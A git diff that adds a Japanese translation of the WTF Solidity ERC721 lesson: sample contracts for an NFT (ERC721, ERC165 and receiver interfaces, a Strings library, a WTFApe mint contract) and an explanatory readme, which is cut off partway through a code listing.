diff --git a/Languages/en/README.md b/Languages/en/README.md index fa04abb57..49c9ff35e 100644 --- a/Languages/en/README.md +++ b/Languages/en/README.md @@ -1,6 +1,6 @@ ![](../../img/logo2.jpeg) -**[中文](https://github.com/AmazingAng/WTF-Solidity) / [Español](../es/README.md) / [Português Brasileiro](../pt-br/README.md)** +**[中文](https://github.com/AmazingAng/WTF-Solidity) / [Español](../es/README.md) / [Português Brasileiro](../pt-br/README.md) / [日本語](../ja/README.md)** # WTF Solidity diff --git a/Languages/es/README.md b/Languages/es/README.md index 3e61e38a9..f1803c435 100644 --- a/Languages/es/README.md +++ b/Languages/es/README.md @@ -1,6 +1,6 @@ ![](../../img/logo2.jpeg) -**[中文版本](https://github.com/AmazingAng/WTF-Solidity) / [English Version](../en/README.md) / [Português Brasileiro](../pt-br/README.md)** +**[中文版本](https://github.com/AmazingAng/WTF-Solidity) / [English Version](../en/README.md) / [Português Brasileiro](../pt-br/README.md) / [日本語版](../ja/README.md)** # WTF Solidity diff --git a/Languages/ja/34_ERC721_ja/ERC721.sol b/Languages/ja/34_ERC721_ja/ERC721.sol new file mode 100644 index 000000000..aecab1be6 --- /dev/null +++ b/Languages/ja/34_ERC721_ja/ERC721.sol @@ -0,0 +1,265 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./IERC165.sol"; +import "./IERC721.sol"; +import "./IERC721Receiver.sol"; +import "./IERC721Metadata.sol"; +import "./String.sol"; + +contract ERC721 is IERC721, IERC721Metadata{ + using Strings for uint256; // Stringsライブラリを使用 + + // トークン名 + string public override name; + // トークンシンボル + string public override symbol; + // tokenId から owner address への所有者マッピング + mapping(uint => address) private _owners; + // address から保有数量への保有量マッピング + mapping(address => uint) private _balances; + // tokenID から承認アドレスへの承認マッピング + mapping(uint => address) private _tokenApprovals; + // ownerアドレス から operatorアドレスへの一括承認マッピング + mapping(address => mapping(address => bool)) private _operatorApprovals; + + // エラー 無効な受信者 + error ERC721InvalidReceiver(address receiver); + + /** + * コンストラクタ、`name` と`symbol` を初期化 . + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + // IERC165インターフェースsupportsInterfaceを実装 + function supportsInterface(bytes4 interfaceId) + external + pure + override + returns (bool) + { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC165).interfaceId || + interfaceId == type(IERC721Metadata).interfaceId; + } + + // IERC721のbalanceOfを実装、_balances変数を使用してownerアドレスのbalanceをクエリ。 + function balanceOf(address owner) external view override returns (uint) { + require(owner != address(0), "owner = zero address"); + return _balances[owner]; + } + + // IERC721のownerOfを実装、_owners変数を使用してtokenIdのownerをクエリ。 + function ownerOf(uint tokenId) public view override returns (address owner) { + owner = _owners[tokenId]; + require(owner != address(0), "token doesn't exist"); + } + + // IERC721のisApprovedForAllを実装、_operatorApprovals変数を使用してownerアドレスが保有するNFTをoperatorアドレスに一括承認しているかをクエリ。 + function isApprovedForAll(address owner, address operator) + external + view + override + returns (bool) + { + return _operatorApprovals[owner][operator]; + } + + // IERC721のsetApprovalForAllを実装、保有トークンを全てoperatorアドレスに承認。_setApprovalForAll関数を呼び出し。 + function setApprovalForAll(address operator, bool approved) external override { + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + // IERC721のgetApprovedを実装、_tokenApprovals変数を使用してtokenIdの承認アドレスをクエリ。 + function getApproved(uint tokenId) external view override returns (address) { + require(_owners[tokenId] != address(0), "token doesn't exist"); + return _tokenApprovals[tokenId]; + } + + // 承認関数。_tokenApprovalsを調整して、to アドレスに tokenId の操作を承認し、同時にApprovalイベントを発行。 + function _approve( + address owner, + address to, + uint tokenId + ) private { + _tokenApprovals[tokenId] = to; + emit Approval(owner, to, tokenId); + } + + // IERC721のapproveを実装、tokenIdを to アドレスに承認。条件:toはownerではなく、msg.senderはownerまたは承認アドレス。_approve関数を呼び出し。 + function approve(address to, uint tokenId) external override { + address owner = _owners[tokenId]; + require( + msg.sender == owner || _operatorApprovals[owner][msg.sender], + "not owner nor approved for all" + ); + _approve(owner, to, tokenId); + } + + // spenderアドレスがtokenIdを使用できるかをクエリ(ownerまたは承認アドレスである必要がある) + function _isApprovedOrOwner( + address owner, + address spender, + uint tokenId + ) private view returns (bool) { + return (spender == owner || + _tokenApprovals[tokenId] == spender || + _operatorApprovals[owner][spender]); + } + + /* + * 転送関数。_balancesと_owner変数を調整して tokenId を from から to に転送し、同時にTransferイベントを発行。 + * 条件: + * 1. tokenId が from によって所有されている + * 2. to が0アドレスではない + */ + function _transfer( + address owner, + address from, + address to, + uint tokenId + ) private { + require(from == owner, "not owner"); + require(to != address(0), "transfer to the zero address"); + + _approve(owner, address(0), tokenId); + + _balances[from] -= 1; + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(from, to, tokenId); + } + + // IERC721のtransferFromを実装、非安全転送、推奨されません。_transfer関数を呼び出し + function transferFrom( + address from, + address to, + uint tokenId + ) external override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _transfer(owner, from, to, tokenId); + } + + /** + * 安全転送、tokenId トークンを from から to に安全に転送し、コントラクト受信者がERC721プロトコルを理解しているかをチェックしてトークンが永続的にロックされることを防止。_transfer関数と_checkOnERC721Received関数を呼び出し。条件: + * from は0アドレスではない. + * to は0アドレスではない. + * tokenId トークンが存在し、from によって所有されている. + * to がスマートコントラクトの場合、IERC721Receiver-onERC721Receivedをサポートする必要がある. + */ + function _safeTransfer( + address owner, + address from, + address to, + uint tokenId, + bytes memory _data + ) private { + _transfer(owner, from, to, tokenId); + _checkOnERC721Received(from, to, tokenId, _data); + } + + /** + * IERC721のsafeTransferFromを実装、安全転送、_safeTransfer関数を呼び出し。 + */ + function safeTransferFrom( + address from, + address to, + uint tokenId, + bytes memory _data + ) public override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _safeTransfer(owner, from, to, tokenId, _data); + } + + // safeTransferFromオーバーロード関数 + function safeTransferFrom( + address from, + address to, + uint tokenId + ) external override { + safeTransferFrom(from, to, tokenId, ""); + } + + /** + * ミント関数。_balancesと_owners変数を調整してtokenIdをミントし、to に転送、同時にTransferイベントを発行。ミント関数。_balancesと_owners変数を調整してtokenIdをミントし、to に転送、同時にTransferイベントを発行。 + * このmint関数は誰でも呼び出すことができ、実際の使用では開発者が書き直して条件を追加する必要があります。 + * 条件: + * 1. tokenIdがまだ存在しない。 + * 2. toが0アドレスではない. + */ + function _mint(address to, uint tokenId) internal virtual { + require(to != address(0), "mint to zero address"); + require(_owners[tokenId] == address(0), "token already minted"); + + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(address(0), to, tokenId); + } + + // バーン関数、_balancesと_owners変数を調整してtokenIdを破棄し、同時にTransferイベントを発行。条件:tokenIdが存在する。 + function _burn(uint tokenId) internal virtual { + address owner = ownerOf(tokenId); + require(msg.sender == owner, "not owner of token"); + + _approve(owner, address(0), tokenId); + + _balances[owner] -= 1; + delete _owners[tokenId]; + + emit Transfer(owner, address(0), tokenId); + } + + // _checkOnERC721Received:関数、to がコントラクトの場合にIERC721Receiver-onERC721Receivedを呼び出し、tokenId が誤ってブラックホールに転送されることを防ぐ。 + function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data) private { + if (to.code.length > 0) { + try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, data) returns (bytes4 retval) { + if (retval != IERC721Receiver.onERC721Received.selector) { + revert ERC721InvalidReceiver(to); + } + } catch (bytes memory reason) { + if (reason.length == 0) { + revert ERC721InvalidReceiver(to); + } else { + /// @solidity memory-safe-assembly + assembly { + revert(add(32, reason), mload(reason)) + } + } + } + } + } + + /** + * IERC721MetadataのtokenURI関数を実装、metadataをクエリ。 + */ + function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { + require(_owners[tokenId] != address(0), "Token Not Exist"); + + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; + } + + /** + * {tokenURI}のBaseURIを計算、tokenURIはbaseURIとtokenIdを連結したもので、開発者が書き直す必要がある。 + * BAYCのbaseURIは ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} \ No newline at end of file diff --git a/Languages/ja/34_ERC721_ja/IERC165.sol b/Languages/ja/34_ERC721_ja/IERC165.sol new file mode 100644 index 000000000..5f223e82a --- /dev/null +++ b/Languages/ja/34_ERC721_ja/IERC165.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +/** + * @dev ERC165標準インターフェース, 詳細は + * https://eips.ethereum.org/EIPS/eip-165[EIP]. + * + * コントラクトはサポートするインターフェースを宣言し、他のコントラクトが確認できます + * + */ +interface IERC165 { + /** + * @dev コントラクトがクエリされた`interfaceId`を実装している場合はtrueを返します + * ルールの詳細:https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] + * + */ + function supportsInterface(bytes4 interfaceId) external view returns (bool); +} \ No newline at end of file diff --git a/Languages/ja/34_ERC721_ja/IERC721.sol b/Languages/ja/34_ERC721_ja/IERC721.sol new file mode 100644 index 000000000..b6502049c --- /dev/null +++ b/Languages/ja/34_ERC721_ja/IERC721.sol @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC165.sol"; + +/** + * @dev ERC721標準インターフェース. + */ +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes calldata data + ) external; + + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function transferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function approve(address to, uint256 tokenId) external; + + function setApprovalForAll(address operator, bool _approved) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function isApprovedForAll(address owner, address operator) external view returns (bool); +} \ No newline at end of file diff --git a/Languages/ja/34_ERC721_ja/IERC721Metadata.sol b/Languages/ja/34_ERC721_ja/IERC721Metadata.sol new file mode 100644 index 000000000..7745bc42c --- /dev/null +++ b/Languages/ja/34_ERC721_ja/IERC721Metadata.sol @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IERC721Metadata { + function name() external view returns (string memory); + + function symbol() external view returns (string memory); + + function tokenURI(uint256 tokenId) external view returns (string memory); +} \ No newline at end of file diff --git a/Languages/ja/34_ERC721_ja/IERC721Receiver.sol b/Languages/ja/34_ERC721_ja/IERC721Receiver.sol new file mode 100644 index 000000000..dba1960cd --- /dev/null +++ b/Languages/ja/34_ERC721_ja/IERC721Receiver.sol @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +// ERC721受信者インターフェース:コントラクトはこのインターフェースを実装して安全転送でERC721を受信する必要があります +interface IERC721Receiver { + function onERC721Received( + address operator, + address from, + uint tokenId, + bytes calldata data + ) external returns (bytes4); +} \ No newline at end of file diff --git a/Languages/ja/34_ERC721_ja/String.sol b/Languages/ja/34_ERC721_ja/String.sol new file mode 100644 index 000000000..1e11464ae --- /dev/null +++ b/Languages/ja/34_ERC721_ja/String.sol @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol) + +pragma solidity ^0.8.21; + +/** + * @dev String操作. + */ +library Strings { + bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; + uint8 private constant _ADDRESS_LENGTH = 20; + + /** + * @dev `uint256`をASCII `string`の10進表現に変換します. + */ + function toString(uint256 value) internal pure returns (string memory) { + // Inspired by OraclizeAPI's implementation - MIT licence + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + /** + * @dev `uint256`をASCII `string`の16進表現に変換します. + */ + function toHexString(uint256 value) internal pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + uint256 temp = value; + uint256 length = 0; + while (temp != 0) { + length++; + temp >>= 8; + } + return toHexString(value, length); + } + + /** + * @dev `uint256`を固定長のASCII `string`の16進表現に変換します. + */ + function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = _HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + require(value == 0, "Strings: hex length insufficient"); + return string(buffer); + } + + /** + * @dev 20バイトの固定長の`address`をチェックサムされていないASCII `string`の16進表現に変換します. + */ + function toHexString(address addr) internal pure returns (string memory) { + return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); + } +} \ No newline at end of file diff --git a/Languages/ja/34_ERC721_ja/WTFApe.sol b/Languages/ja/34_ERC721_ja/WTFApe.sol new file mode 100644 index 000000000..d0adce172 --- /dev/null +++ b/Languages/ja/34_ERC721_ja/WTFApe.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./ERC721.sol"; + +contract WTFApe is ERC721{ + uint public MAX_APES = 10000; // 総量 + + // コンストラクタ + constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_){ + } + + //BAYCのbaseURIは ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + function _baseURI() internal pure override returns (string memory) { + return "ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/"; + } + + // ミント関数 + function mint(address to, uint tokenId) external { + require(tokenId >= 0 && tokenId < MAX_APES, "tokenId out of range"); + _mint(to, tokenId); + } +} \ No newline at end of file diff --git a/Languages/ja/34_ERC721_ja/img/34-1.png b/Languages/ja/34_ERC721_ja/img/34-1.png new file mode 100644 index 000000000..fec4d4359 Binary files /dev/null and b/Languages/ja/34_ERC721_ja/img/34-1.png differ diff --git a/Languages/ja/34_ERC721_ja/img/34-2.png b/Languages/ja/34_ERC721_ja/img/34-2.png new file mode 100644 index 000000000..4de29e274 Binary files /dev/null and b/Languages/ja/34_ERC721_ja/img/34-2.png differ diff --git a/Languages/ja/34_ERC721_ja/img/34-3.png b/Languages/ja/34_ERC721_ja/img/34-3.png new file mode 100644 index 000000000..1fb89cfd2 Binary files /dev/null and b/Languages/ja/34_ERC721_ja/img/34-3.png differ diff --git a/Languages/ja/34_ERC721_ja/img/34-4.png b/Languages/ja/34_ERC721_ja/img/34-4.png new file mode 100644 index 000000000..87d5aae14 Binary files /dev/null and b/Languages/ja/34_ERC721_ja/img/34-4.png differ diff --git a/Languages/ja/34_ERC721_ja/img/34-5.png b/Languages/ja/34_ERC721_ja/img/34-5.png new file mode 100644 index 000000000..dfbcb9a87 Binary files /dev/null and b/Languages/ja/34_ERC721_ja/img/34-5.png differ diff --git a/Languages/ja/34_ERC721_ja/readme.md b/Languages/ja/34_ERC721_ja/readme.md new file mode 100644 index 000000000..7d3f2ab7d --- /dev/null +++ b/Languages/ja/34_ERC721_ja/readme.md @@ -0,0 +1,625 @@ +--- +title: 34. ERC721 +tags: + - solidity + - application + - wtfacademy + - ERC721 + - ERC165 + - OpenZeppelin +--- + +# WTF Solidity極簡入門: 34. ERC721 + +私は最近Solidityを再学習し、詳細を固めながら「WTF Solidity極簡入門」を書いています。これは初心者向けです(プログラミング上級者は他のチュートリアルを参照してください)。毎週1-3講を更新します。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[WeChatグループ](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +`BTC`や`ETH`などのトークンは同質化トークンに属し、マイナーが採掘した第`1`枚目の`BTC`と第`10000`枚目の`BTC`には違いがなく、等価です。しかし、世界には多くの非同質なアイテムがあり、不動産、骨董品、バーチャルアート作品などが含まれ、これらのアイテムは同質化トークンで抽象化することができません。そこで、[イーサリアムEIP721](https://eips.ethereum.org/EIPS/eip-721)が`ERC721`標準を提案し、非同質なアイテムを抽象化しました。この講義では、`ERC721`標準を紹介し、それを基にして`NFT`を発行します。 + +## EIPとERC + +ここで理解すべき点があります。本節のタイトルは`ERC721`ですが、ここで`EIP721`についても言及しています。この二つの関係は何でしょうか? + +`EIP`は`Ethereum Improvement Proposals`(イーサリアム改善提案)の略で、イーサリアム開発者コミュニティが提案する改善提案であり、番号で整理された一連の文書で、インターネット上のIETFのRFCに似ています。 + +`EIP`は`Ethereum`エコシステムの任意の領域の改善であり、新機能、ERC、プロトコル改善、プログラミングツールなどが含まれます。 + +`ERC`は`Ethereum Request For Comment`(イーサリアム意見征求稿)の略で、イーサリアム上のアプリケーションレベルの各種開発標準とプロトコルを記録するために使用されます。典型的なトークン標準(`ERC20`、`ERC721`)、名前登録(`ERC26`、`ERC13`)、URI範式(`ERC67`)、Library/Package形式(`EIP82`)、ウォレット形式(`EIP75`、`EIP85`)などがあります。 + +ERCプロトコル標準はイーサリアムの発展に影響を与える重要な要因であり、`ERC20`、`ERC223`、`ERC721`、`ERC777`などは、すべてイーサリアムエコシステムに大きな影響を与えました。 + +したがって最終的な結論:`EIP`には`ERC`が含まれます。 + +**この節の学習完了後に、なぜ最初に`ERC165`について学び、`ERC721`ではないのかが理解できます。結論を見たい場合は最下部に直接移動してください** + +## ERC165 + +[ERC165標準](https://eips.ethereum.org/EIPS/eip-165)を通じて、スマートコントラクトは自身がサポートするインターフェースを宣言し、他のコントラクトが確認できるようにします。簡単に言うと、ERC165はスマートコントラクトが`ERC721`、`ERC1155`のインターフェースをサポートしているかどうかをチェックする仕組みです。 + +`IERC165`インターフェースコントラクトは`supportsInterface`関数のみを宣言し、クエリしたい`interfaceId`インターフェースidを入力し、コントラクトがそのインターフェースidを実装している場合は`true`を返します: + +```solidity +interface IERC165 { + /** + * @dev コントラクトがクエリされた`interfaceId`を実装している場合はtrueを返します + * ルールの詳細:https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] + * + */ + function supportsInterface(bytes4 interfaceId) external view returns (bool); +} +``` + +`ERC721`が`supportsInterface()`関数をどのように実装しているかを見てみましょう: + +```solidity + function supportsInterface(bytes4 interfaceId) external pure override returns (bool) + { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC165).interfaceId; + } +``` + +クエリが`IERC721`または`IERC165`のインターフェースidの場合、`true`を返し、そうでない場合は`false`を返します。 + +## IERC721 + +`IERC721`は`ERC721`標準のインターフェースコントラクトで、`ERC721`が実装すべき基本機能を規定しています。`tokenId`を使用して特定の非同質化トークンを表現し、承認や転送には`tokenId`を明確にする必要があります。一方、`ERC20`は転送額を明確にするだけで済みます。 + +```solidity +/** + * @dev ERC721標準インターフェース. + */ +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes calldata data + ) external; + + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function transferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function approve(address to, uint256 tokenId) external; + + function setApprovalForAll(address operator, bool _approved) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function isApprovedForAll(address owner, address operator) external view returns (bool); +} +``` + +### IERC721イベント +`IERC721`には3つのイベントが含まれており、その中の`Transfer`と`Approval`イベントは`ERC20`にもあります。 +- `Transfer`イベント:転送時に発行され、トークンの送信元アドレス`from`、受信アドレス`to`、`tokenId`を記録します。 +- `Approval`イベント:承認時に発行され、承認アドレス`owner`、被承認アドレス`approved`、`tokenId`を記録します。 +- `ApprovalForAll`イベント:一括承認時に発行され、一括承認の送信元アドレス`owner`、被承認アドレス`operator`、承認の有無`approved`を記録します。 + +### IERC721関数 +- `balanceOf`:あるアドレスのNFT保有量`balance`を返します。 +- `ownerOf`:ある`tokenId`の所有者`owner`を返します。 +- `transferFrom`:通常の転送で、転送元アドレス`from`、受信アドレス`to`、`tokenId`をパラメータとします。 +- `safeTransferFrom`:安全転送(受信者がコントラクトアドレスの場合、`ERC721Receiver`インターフェースの実装が必要)。転送元アドレス`from`、受信アドレス`to`、`tokenId`をパラメータとします。 +- `approve`:別のアドレスにあなたのNFTの使用を承認します。被承認アドレス`to`と`tokenId`をパラメータとします。 +- `getApproved`:`tokenId`がどのアドレスに承認されているかをクエリします。 +- `setApprovalForAll`:自身が保有するそのシリーズのNFTを特定のアドレス`operator`に一括承認します。 +- `isApprovedForAll`:あるアドレスのNFTが別の`operator`アドレスに一括承認されているかをクエリします。 +- `safeTransferFrom`:安全転送のオーバーロード関数で、パラメータに`data`が含まれます。 + +## IERC721Receiver + +コントラクトが`ERC721`の関連関数を実装していない場合、転送された`NFT`はブラックホールに入り、永遠に転送できなくなります。誤転送を防ぐため、`ERC721`は`safeTransferFrom()`安全転送関数を実装し、対象コントラクトが`IERC721Receiver`インターフェースを実装している必要があり、そうでなければ`revert`します。`IERC721Receiver`インターフェースには`onERC721Received()`関数のみが含まれます。 + +```solidity +// ERC721受信者インターフェース:コントラクトはこのインターフェースを実装して安全転送でERC721を受信する必要があります +interface IERC721Receiver { + function onERC721Received( + address operator, + address from, + uint tokenId, + bytes calldata data + ) external returns (bytes4); +} +``` + +`ERC721`が`_checkOnERC721Received`を使用して対象コントラクトが`onERC721Received()`関数を実装していることを確認する方法(`onERC721Received`の`selector`を返す)を見てみましょう: +```solidity +function _checkOnERC721Received( + address operator, + address from, + address to, + uint256 tokenId, + bytes memory data +) internal { + if (to.code.length > 0) { + try IERC721Receiver(to).onERC721Received(operator, from, tokenId, data) returns (bytes4 retval) { + if (retval != IERC721Receiver.onERC721Received.selector) { + // トークンが拒否されました + revert IERC721Errors.ERC721InvalidReceiver(to); + } + } catch (bytes memory reason) { + if (reason.length == 0) { + // IERC721Receiver実装者ではありません + revert IERC721Errors.ERC721InvalidReceiver(to); + } else { + /// @solidity memory-safe-assembly + assembly { + revert(add(32, reason), mload(reason)) + } + } + } + } +} +``` + +## IERC721Metadata +`IERC721Metadata`は`ERC721`の拡張インターフェースで、`metadata`メタデータをクエリする3つの一般的な関数を実装しています: + +- `name()`:トークン名を返します。 +- `symbol()`:トークンシンボルを返します。 +- `tokenURI()`:`tokenId`を通じて`metadata`のリンク`url`をクエリします。`ERC721`特有の関数です。 + +```solidity +interface IERC721Metadata is IERC721 { + function name() external view returns (string memory); + + function symbol() external view returns (string memory); + + function tokenURI(uint256 tokenId) external view returns (string memory); +} +``` + +## ERC721メインコントラクト +`ERC721`メインコントラクトは`IERC721`、`IERC165`、`IERC721Metadata`で定義されたすべての機能を実装し、`4`つの状態変数と`17`の関数を含みます。実装は比較的シンプルで、各関数の機能はコードコメントを参照してください: + +```solidity +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./IERC165.sol"; +import "./IERC721.sol"; +import "./IERC721Receiver.sol"; +import "./IERC721Metadata.sol"; +import "./String.sol"; + +contract ERC721 is IERC721, IERC721Metadata{ + using Strings for uint256; // Stringsライブラリを使用 + + // トークン名 + string public override name; + // トークンシンボル + string public override symbol; + // tokenId から owner address への所有者マッピング + mapping(uint => address) private _owners; + // address から保有数量への保有量マッピング + mapping(address => uint) private _balances; + // tokenID から承認アドレスへの承認マッピング + mapping(uint => address) private _tokenApprovals; + // ownerアドレス から operatorアドレスへの一括承認マッピング + mapping(address => mapping(address => bool)) private _operatorApprovals; + + // エラー 無効な受信者 + error ERC721InvalidReceiver(address receiver); + + /** + * コンストラクタ、`name` と`symbol` を初期化 . + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + // IERC165インターフェースsupportsInterfaceを実装 + function supportsInterface(bytes4 interfaceId) + external + pure + override + returns (bool) + { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC165).interfaceId || + interfaceId == type(IERC721Metadata).interfaceId; + } + + // IERC721のbalanceOfを実装、_balances変数を使用してownerアドレスのbalanceをクエリ。 + function balanceOf(address owner) external view override returns (uint) { + require(owner != address(0), "owner = zero address"); + return _balances[owner]; + } + + // IERC721のownerOfを実装、_owners変数を使用してtokenIdのownerをクエリ。 + function ownerOf(uint tokenId) public view override returns (address owner) { + owner = _owners[tokenId]; + require(owner != address(0), "token doesn't exist"); + } + + // IERC721のisApprovedForAllを実装、_operatorApprovals変数を使用してownerアドレスが保有するNFTをoperatorアドレスに一括承認しているかをクエリ。 + function isApprovedForAll(address owner, address operator) + external + view + override + returns (bool) + { + return _operatorApprovals[owner][operator]; + } + + // IERC721のsetApprovalForAllを実装、保有トークンを全てoperatorアドレスに承認。_setApprovalForAll関数を呼び出し。 + function setApprovalForAll(address operator, bool approved) external override { + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + // IERC721のgetApprovedを実装、_tokenApprovals変数を使用してtokenIdの承認アドレスをクエリ。 + function getApproved(uint tokenId) external view override returns (address) { + require(_owners[tokenId] != address(0), "token doesn't exist"); + return _tokenApprovals[tokenId]; + } + + // 承認関数。_tokenApprovalsを調整して、to アドレスに tokenId の操作を承認し、同時にApprovalイベントを発行。 + function _approve( + address owner, + address to, + uint tokenId + ) private { + _tokenApprovals[tokenId] = to; + emit Approval(owner, to, tokenId); + } + + // IERC721のapproveを実装、tokenIdを to アドレスに承認。条件:toはownerではなく、msg.senderはownerまたは承認アドレス。_approve関数を呼び出し。 + function approve(address to, uint tokenId) external override { + address owner = _owners[tokenId]; + require( + msg.sender == owner || _operatorApprovals[owner][msg.sender], + "not owner nor approved for all" + ); + _approve(owner, to, tokenId); + } + + // spenderアドレスがtokenIdを使用できるかをクエリ(ownerまたは承認アドレスである必要がある) + function _isApprovedOrOwner( + address owner, + address spender, + uint tokenId + ) private view returns (bool) { + return (spender == owner || + _tokenApprovals[tokenId] == spender || + _operatorApprovals[owner][spender]); + } + + /* + * 転送関数。_balancesと_owner変数を調整して tokenId を from から to に転送し、同時にTransferイベントを発行。 + * 条件: + * 1. tokenId が from によって所有されている + * 2. to が0アドレスではない + */ + function _transfer( + address owner, + address from, + address to, + uint tokenId + ) private { + require(from == owner, "not owner"); + require(to != address(0), "transfer to the zero address"); + + _approve(owner, address(0), tokenId); + + _balances[from] -= 1; + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(from, to, tokenId); + } + + // IERC721のtransferFromを実装、非安全転送、推奨されません。_transfer関数を呼び出し + function transferFrom( + address from, + address to, + uint tokenId + ) external override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _transfer(owner, from, to, tokenId); + } + + /** + * 安全転送、tokenId トークンを from から to に安全に転送し、コントラクト受信者がERC721プロトコルを理解しているかをチェックしてトークンが永続的にロックされることを防止。_transfer関数と_checkOnERC721Received関数を呼び出し。条件: + * from は0アドレスではない. + * to は0アドレスではない. + * tokenId トークンが存在し、from によって所有されている. + * to がスマートコントラクトの場合、IERC721Receiver-onERC721Receivedをサポートする必要がある. + */ + function _safeTransfer( + address owner, + address from, + address to, + uint tokenId, + bytes memory _data + ) private { + _transfer(owner, from, to, tokenId); + _checkOnERC721Received(from, to, tokenId, _data); + } + + /** + * IERC721のsafeTransferFromを実装、安全転送、_safeTransfer関数を呼び出し。 + */ + function safeTransferFrom( + address from, + address to, + uint tokenId, + bytes memory _data + ) public override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _safeTransfer(owner, from, to, tokenId, _data); + } + + // safeTransferFromオーバーロード関数 + function safeTransferFrom( + address from, + address to, + uint tokenId + ) external override { + safeTransferFrom(from, to, tokenId, ""); + } + + /** + * ミント関数。_balancesと_owners変数を調整してtokenIdをミントし、to に転送、同時にTransferイベントを発行。ミント関数。_balancesと_owners変数を調整してtokenIdをミントし、to に転送、同時にTransferイベントを発行。 + * このmint関数は誰でも呼び出すことができ、実際の使用では開発者が書き直して条件を追加する必要があります。 + * 条件: + * 1. tokenIdがまだ存在しない。 + * 2. toが0アドレスではない. + */ + function _mint(address to, uint tokenId) internal virtual { + require(to != address(0), "mint to zero address"); + require(_owners[tokenId] == address(0), "token already minted"); + + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(address(0), to, tokenId); + } + + // 